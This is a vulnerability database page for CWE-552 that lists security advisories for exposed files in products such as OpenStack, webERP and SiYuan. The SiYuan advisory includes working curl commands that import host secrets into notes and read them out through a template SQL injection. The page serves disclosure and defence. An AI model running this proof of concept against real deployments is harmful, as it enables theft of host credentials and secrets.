CWE-552
AllowedFiles or Directories Accessible to External Parties
Abstraction: Base · Status: Draft
The product makes files or directories accessible to unauthorized actors, even though they should not be.
729 vulnerabilities reference this CWE, most recent first.
GHSA-R2Q6-XHR4-WGJW
Vulnerability from github – Published: 2022-05-24 19:20 – Updated: 2022-05-24 19:20An issue was discovered in Hitachi Vantara Pentaho through 9.1 and Pentaho Business Intelligence Server through 7.x. They implement a series of web services using the SOAP protocol to allow scripting interaction with the backend server. An authenticated user (regardless of privileges) can list all valid usernames.
{
"affected": [],
"aliases": [
"CVE-2021-31600"
],
"database_specific": {
"cwe_ids": [
"CWE-552"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-08T04:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Hitachi Vantara Pentaho through 9.1 and Pentaho Business Intelligence Server through 7.x. They implement a series of web services using the SOAP protocol to allow scripting interaction with the backend server. An authenticated user (regardless of privileges) can list all valid usernames.",
"id": "GHSA-r2q6-xhr4-wgjw",
"modified": "2022-05-24T19:20:05Z",
"published": "2022-05-24T19:20:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31600"
},
{
"type": "WEB",
"url": "https://www.hitachi.com/hirt/security/index.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/164787/Pentaho-Business-Analytics-Pentaho-Business-Server-9.1-User-Enumeration.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-R4V4-W9PV-6FPH
Vulnerability from github – Published: 2024-07-05 03:30 – Updated: 2025-11-04 19:46An issue was discovered in OpenStack Cinder through 24.0.0, Glance before 28.0.2, and Nova before 29.0.3. Arbitrary file access can occur via custom QCOW2 external data. By supplying a crafted QCOW2 image that references a specific data file path, an authenticated user may convince systems to return a copy of that file's contents from the server, resulting in unauthorized access to potentially sensitive data. All Cinder and Nova deployments are affected; only Glance deployments with image conversion enabled are affected.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "cinder"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "24.0.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "glance"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "28.0.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "nova"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "29.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-32498"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-552"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-08T19:04:07Z",
"nvd_published_at": "2024-07-05T02:15:09Z",
"severity": "HIGH"
},
"details": "An issue was discovered in OpenStack Cinder through 24.0.0, Glance before 28.0.2, and Nova before 29.0.3. Arbitrary file access can occur via custom QCOW2 external data. By supplying a crafted QCOW2 image that references a specific data file path, an authenticated user may convince systems to return a copy of that file\u0027s contents from the server, resulting in unauthorized access to potentially sensitive data. All Cinder and Nova deployments are affected; only Glance deployments with image conversion enabled are affected.",
"id": "GHSA-r4v4-w9pv-6fph",
"modified": "2025-11-04T19:46:52Z",
"published": "2024-07-05T03:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32498"
},
{
"type": "WEB",
"url": "https://github.com/openstack/cinder/commit/78f85c1f9b20a067ef64d6451dee0228c3a0db5e"
},
{
"type": "WEB",
"url": "https://github.com/openstack/cinder/commit/d6a186945e03649343af55b46ed8dfe0dd326e40"
},
{
"type": "WEB",
"url": "https://github.com/openstack/glance/commit/22f0c9c6f98db1d93569e3edb800c271f35b0ef9"
},
{
"type": "WEB",
"url": "https://github.com/openstack/glance/commit/2e65391744a82421bc6f026ee8f1f3550038f175"
},
{
"type": "WEB",
"url": "https://github.com/openstack/glance/commit/867d1dd8b6e4f5774257a98c7c33061fbbbde973"
},
{
"type": "WEB",
"url": "https://github.com/openstack/glance/commit/cc7d53adbecf85f3d7df78e7618fe8ab3a075c5f"
},
{
"type": "WEB",
"url": "https://github.com/openstack/glance/commit/d607e78630cc9d1ca18b3a027322809c042f64df"
},
{
"type": "WEB",
"url": "https://github.com/openstack/nova/commit/657e86585cc57f84ab9b364dd189547d231d5927"
},
{
"type": "WEB",
"url": "https://launchpad.net/bugs/2059809"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00016.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00017.html"
},
{
"type": "WEB",
"url": "https://security.openstack.org/ossa/OSSA-2024-001.html"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2024/07/02/2"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/07/02/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenStack Cinder, Glance, and Nova vulnerable to arbitrary file access"
}
GHSA-R93W-724G-3J3H
Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-05-24 17:34An issue was discovered in Aviatrix Controller before R5.4.1290. The htaccess protection mechanism to prevent requests to directories can be bypassed for file downloading.
{
"affected": [],
"aliases": [
"CVE-2020-26549"
],
"database_specific": {
"cwe_ids": [
"CWE-552"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-17T21:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Aviatrix Controller before R5.4.1290. The htaccess protection mechanism to prevent requests to directories can be bypassed for file downloading.",
"id": "GHSA-r93w-724g-3j3h",
"modified": "2022-05-24T17:34:28Z",
"published": "2022-05-24T17:34:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26549"
},
{
"type": "WEB",
"url": "https://www.criticalstart.com/multiple-vulnerabilities-discovered-in-aviatrix"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-RCV3-6PGV-6P72
Vulnerability from github – Published: 2024-01-23 21:30 – Updated: 2025-06-17 18:31A local file inclusion vulnerability on the Trend Micro Apex One management server could allow a local attacker to escalate privileges on affected installations.
Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2023-47202"
],
"database_specific": {
"cwe_ids": [
"CWE-552"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-23T21:15:08Z",
"severity": "HIGH"
},
"details": "A local file inclusion vulnerability on the Trend Micro Apex One management server could allow a local attacker to escalate privileges on affected installations.\n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.",
"id": "GHSA-rcv3-6pgv-6p72",
"modified": "2025-06-17T18:31:31Z",
"published": "2024-01-23T21:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47202"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1621"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RF8V-2CG8-2C3M
Vulnerability from github – Published: 2026-02-04 00:30 – Updated: 2026-02-04 00:30webERP 4.15.1 contains an unauthenticated file access vulnerability that allows remote attackers to download database backup files without authentication. Attackers can directly access generated backup files in the companies/weberp/ directory by requesting the Backup_[timestamp].sql.gz file.
{
"affected": [],
"aliases": [
"CVE-2020-37082"
],
"database_specific": {
"cwe_ids": [
"CWE-552"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-03T22:16:23Z",
"severity": "HIGH"
},
"details": "webERP 4.15.1 contains an unauthenticated file access vulnerability that allows remote attackers to download database backup files without authentication. Attackers can directly access generated backup files in the companies/weberp/ directory by requesting the Backup_[timestamp].sql.gz file.",
"id": "GHSA-rf8v-2cg8-2c3m",
"modified": "2026-02-04T00:30:29Z",
"published": "2026-02-04T00:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-37082"
},
{
"type": "WEB",
"url": "https://sourceforge.net/projects/web-erp"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/48420"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/weberp-unauthenticated-backup-file-access"
},
{
"type": "WEB",
"url": "http://www.weberp.org"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RHF3-73P2-27RM
Vulnerability from github – Published: 2022-05-02 03:46 – Updated: 2022-05-02 03:46Digitaldesign CMS 0.1 stores sensitive information under the web root with insufficient access control, which allows remote attackers to download the database file via a direct request for autoconfig.dd.
{
"affected": [],
"aliases": [
"CVE-2009-3597"
],
"database_specific": {
"cwe_ids": [
"CWE-552"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-10-08T17:30:00Z",
"severity": "MODERATE"
},
"details": "Digitaldesign CMS 0.1 stores sensitive information under the web root with insufficient access control, which allows remote attackers to download the database file via a direct request for autoconfig.dd.",
"id": "GHSA-rhf3-73p2-27rm",
"modified": "2022-05-02T03:46:50Z",
"published": "2022-05-02T03:46:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-3597"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/51676"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/9115"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-RJ6X-MG28-WF4X
Vulnerability from github – Published: 2026-05-26 18:31 – Updated: 2026-06-01 15:30Files or Directories Accessible to External Parties, Server-Side Request Forgery (SSRF) vulnerability in Apache Flink Kubernetes Operator.
The FlinkSessionJob jarURI is currently not validated so that it points to user-owned files or addresses. This lets a user with CR create permissions read files from the operator pod's filesystem and pull content from any backing store reachable through Flink's pluggable filesystem layer and access them through the submitted Flink job. Furthermore for fetching from http/https addresses there is currently no allowlist on the URI scheme, no host check, no IP-range restriction, and no protection against pointing the URI at internal or link-local addresses.This issue affects Apache Flink Kubernetes Operator: from 1.3.0 before 1.15.0.
Users are recommended to upgrade to version 1.15.0, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2026-40564"
],
"database_specific": {
"cwe_ids": [
"CWE-552"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-26T16:16:24Z",
"severity": "MODERATE"
},
"details": "Files or Directories Accessible to External Parties, Server-Side Request Forgery (SSRF) vulnerability in Apache Flink Kubernetes Operator.\n\nThe FlinkSessionJob jarURI is currently not validated so that it points to user-owned files or addresses.\u00a0\u00a0This lets a user with CR create permissions read files from the operator pod\u0027s filesystem and pull content from any backing store reachable through Flink\u0027s pluggable filesystem layer and access them through the submitted Flink job. Furthermore for fetching from http/https addresses\u00a0there is currently no allowlist on the URI scheme, no host check, no IP-range restriction, and no protection against pointing the URI at internal or link-local addresses.This issue affects Apache Flink Kubernetes Operator: from 1.3.0 before 1.15.0.\n\nUsers are recommended to upgrade to version 1.15.0, which fixes the issue.",
"id": "GHSA-rj6x-mg28-wf4x",
"modified": "2026-06-01T15:30:34Z",
"published": "2026-05-26T18:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40564"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/jvxs2kh2o60sl7qkl5nss4r5phzfl4cz"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/26/6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RJCH-HJ8F-VM5C
Vulnerability from github – Published: 2022-05-24 16:58 – Updated: 2024-04-04 02:13An issue was discovered in Zoho ManageEngine DataSecurity Plus before 5.0.1 5012. An exposed service allows a basic user ("Operator" access level) to access the configuration file of the mail server (except for the password).
{
"affected": [],
"aliases": [
"CVE-2019-17112"
],
"database_specific": {
"cwe_ids": [
"CWE-552"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-09T20:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Zoho ManageEngine DataSecurity Plus before 5.0.1 5012. An exposed service allows a basic user (\"Operator\" access level) to access the configuration file of the mail server (except for the password).",
"id": "GHSA-rjch-hj8f-vm5c",
"modified": "2024-04-04T02:13:15Z",
"published": "2022-05-24T16:58:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-17112"
},
{
"type": "WEB",
"url": "https://excellium-services.com/cert-xlm-advisory/cve-2019-17112"
},
{
"type": "WEB",
"url": "https://www.manageengine.com/data-security/release-notes.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RJHH-M223-9QQV
Vulnerability from github – Published: 2026-03-16 18:47 – Updated: 2026-03-30 13:58Summary
POST /api/import/importStdMd passes the localPath parameter directly to model.ImportFromLocalPath with zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users.
Details
File: kernel/api/import.go - function importStdMd
func importStdMd(c *gin.Context) {
notebook := arg["notebook"].(string)
localPath := arg["localPath"].(string)
toPath := arg["toPath"].(string)
err := model.ImportFromLocalPath(notebook, localPath, toPath)
}
model.ImportFromLocalPath (kernel/model/import.go:784):
func ImportFromLocalPath(boxID, localPath string, toPath string) (err error) {
filelock.Walk(localPath, func(currentPath string, d fs.DirEntry, ...) error {
})
}
Unlike globalCopyFiles, there is no blocklist at all. Any readable path is accepted. The imported content is permanently stored in the workspace SQLite database and survives restarts.
Chained attack with Bug #1 (renderSprig): Admin imports sensitive files --> content stored in blocks table --> non-admin user queries via querySQL through renderSprig.
PoC
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
Exploit:
TOKEN="YOUR_ADMIN_TOKEN"
NOTEBOOK=$(curl -s -X POST http://localhost:6806/api/notebook/createNotebook \
-H "Authorization: Token $TOKEN" -H "Content-Type: application/json" \
-d '{"name":"Exfil"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['notebook']['id'])")
curl -s -X POST http://localhost:6806/api/import/importStdMd \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/proc/1\",\"toPath\":\"/\"}"
curl -s -X POST http://localhost:6806/api/import/importStdMd \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/run/secrets\",\"toPath\":\"/\"}"
curl -s -X POST http://localhost:6806/api/template/renderSprig \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"template":"{{range $r := (querySQL \"SELECT content FROM blocks LIMIT 50\")}}{{$r.content}}\n---\n{{end}}"}'
Impact
An admin can permanently import the contents of any readable host directory into the workspace as searchable notes. Unlike globalCopyFiles, there is no blocklist - /proc/, /etc/, /run/secrets/, /home/ are all accepted.
Data persists in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the renderSprig SQL injection ( separate advisory ), a non-admin user can then read all imported secrets without any additional privileges.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.0-20260313024916-fd6526133bb3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32750"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-552"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T18:47:22Z",
"nvd_published_at": "2026-03-19T22:16:41Z",
"severity": "MODERATE"
},
"details": "### Summary\nPOST /api/import/importStdMd passes the localPath parameter directly to model.ImportFromLocalPath with zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users.\n\n### Details\nFile: kernel/api/import.go - function importStdMd\n\n```go\nfunc importStdMd(c *gin.Context) {\n notebook := arg[\"notebook\"].(string)\n localPath := arg[\"localPath\"].(string)\n toPath := arg[\"toPath\"].(string)\n\n err := model.ImportFromLocalPath(notebook, localPath, toPath)\n}\n```\n\nmodel.ImportFromLocalPath (kernel/model/import.go:784):\n```go\nfunc ImportFromLocalPath(boxID, localPath string, toPath string) (err error) {\n filelock.Walk(localPath, func(currentPath string, d fs.DirEntry, ...) error {\n })\n}\n```\n\nUnlike globalCopyFiles, there is no blocklist at all. Any readable path is accepted. The imported content is permanently stored in the workspace SQLite database and survives restarts.\n\nChained attack with Bug #1 (renderSprig):\nAdmin imports sensitive files --\u003e content stored in blocks table --\u003e non-admin user queries via querySQL through renderSprig.\n\n### PoC\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n -v $(pwd)/workspace:/siyuan/workspace \\\n b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```bash\nTOKEN=\"YOUR_ADMIN_TOKEN\"\n\nNOTEBOOK=$(curl -s -X POST http://localhost:6806/api/notebook/createNotebook \\\n -H \"Authorization: Token $TOKEN\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"name\":\"Exfil\"}\u0027 | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027data\u0027][\u0027notebook\u0027][\u0027id\u0027])\")\n\ncurl -s -X POST http://localhost:6806/api/import/importStdMd \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\\\"notebook\\\":\\\"$NOTEBOOK\\\",\\\"localPath\\\":\\\"/proc/1\\\",\\\"toPath\\\":\\\"/\\\"}\"\n\ncurl -s -X POST http://localhost:6806/api/import/importStdMd \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\\\"notebook\\\":\\\"$NOTEBOOK\\\",\\\"localPath\\\":\\\"/run/secrets\\\",\\\"toPath\\\":\\\"/\\\"}\"\n\ncurl -s -X POST http://localhost:6806/api/template/renderSprig \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"template\":\"{{range $r := (querySQL \\\"SELECT content FROM blocks LIMIT 50\\\")}}{{$r.content}}\\n---\\n{{end}}\"}\u0027\n```\n\n### Impact\nAn admin can permanently import the contents of any readable host directory into the workspace as searchable notes. Unlike globalCopyFiles, there is no blocklist - /proc/, /etc/, /run/secrets/, /home/ are all accepted.\n\nData persists in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the renderSprig SQL injection ( separate advisory ), a non-admin user can then read all imported secrets without any additional privileges.",
"id": "GHSA-rjhh-m223-9qqv",
"modified": "2026-03-30T13:58:39Z",
"published": "2026-03-16T18:47:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-rjhh-m223-9qqv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32750"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/commit/13b6d3d45e83525654d120f32a3fdc5d9e95df0b"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SiYuan importStdMd: unvalidated localPath imports arbitrary host directories as persistent notes"
}
GHSA-RM86-H44C-2R2M
Vulnerability from github – Published: 2024-07-24 06:31 – Updated: 2025-11-04 19:49In OpenStack Nova before 27.4.1, 28 before 28.2.1, and 29 before 29.1.1, by supplying a raw format image that is actually a crafted QCOW2 image with a backing file path or VMDK flat image with a descriptor file path, an authenticated user may convince systems to return a copy of the referenced file's contents from the server, resulting in unauthorized access to potentially sensitive data. All Nova deployments are affected. NOTE: this issue exists because of an incomplete fix for CVE-2022-47951 and CVE-2024-32498.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Nova"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "27.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "Nova"
},
"ranges": [
{
"events": [
{
"introduced": "28.0.0"
},
{
"last_affected": "28.2.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "Nova"
},
"ranges": [
{
"events": [
{
"introduced": "29.0.0"
},
{
"last_affected": "29.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-40767"
],
"database_specific": {
"cwe_ids": [
"CWE-436",
"CWE-552"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-25T14:27:53Z",
"nvd_published_at": "2024-07-24T05:15:12Z",
"severity": "MODERATE"
},
"details": "In OpenStack Nova before 27.4.1, 28 before 28.2.1, and 29 before 29.1.1, by supplying a raw format image that is actually a crafted QCOW2 image with a backing file path or VMDK flat image with a descriptor file path, an authenticated user may convince systems to return a copy of the referenced file\u0027s contents from the server, resulting in unauthorized access to potentially sensitive data. All Nova deployments are affected. NOTE: this issue exists because of an incomplete fix for CVE-2022-47951 and CVE-2024-32498.",
"id": "GHSA-rm86-h44c-2r2m",
"modified": "2025-11-04T19:49:52Z",
"published": "2024-07-24T06:31:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40767"
},
{
"type": "PACKAGE",
"url": "https://github.com/openstack/nova"
},
{
"type": "WEB",
"url": "https://launchpad.net/bugs/2071734"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00017.html"
},
{
"type": "WEB",
"url": "https://review.opendev.org/c/openstack/nova/+/924731"
},
{
"type": "WEB",
"url": "https://security.openstack.org"
},
{
"type": "WEB",
"url": "https://security.openstack.org/ossa/OSSA-2024-002.html"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2024/07/23/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenStack Nova vulnerable to unauthorized access to potentially sensitive data "
}
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.
CAPEC-150: Collect Data from Common Resource Locations
An adversary exploits well-known locations for resources for the purposes of undermining the security of the target. In many, if not most systems, files and resources are organized in a default tree structure. This can be useful for adversaries because they often know where to look for resources or files that are necessary for attacks. Even when the precise location of a targeted resource may not be known, naming conventions may indicate a small area of the target machine's file tree where the resources are typically located. For example, configuration files are normally stored in the /etc director on Unix systems. Adversaries can take advantage of this to commit other types of attacks.
CAPEC-639: Probe System Files
An adversary obtains unauthorized information due to improperly protected files. If an application stores sensitive information in a file that is not protected by proper access control, then an adversary can access the file and search for sensitive information.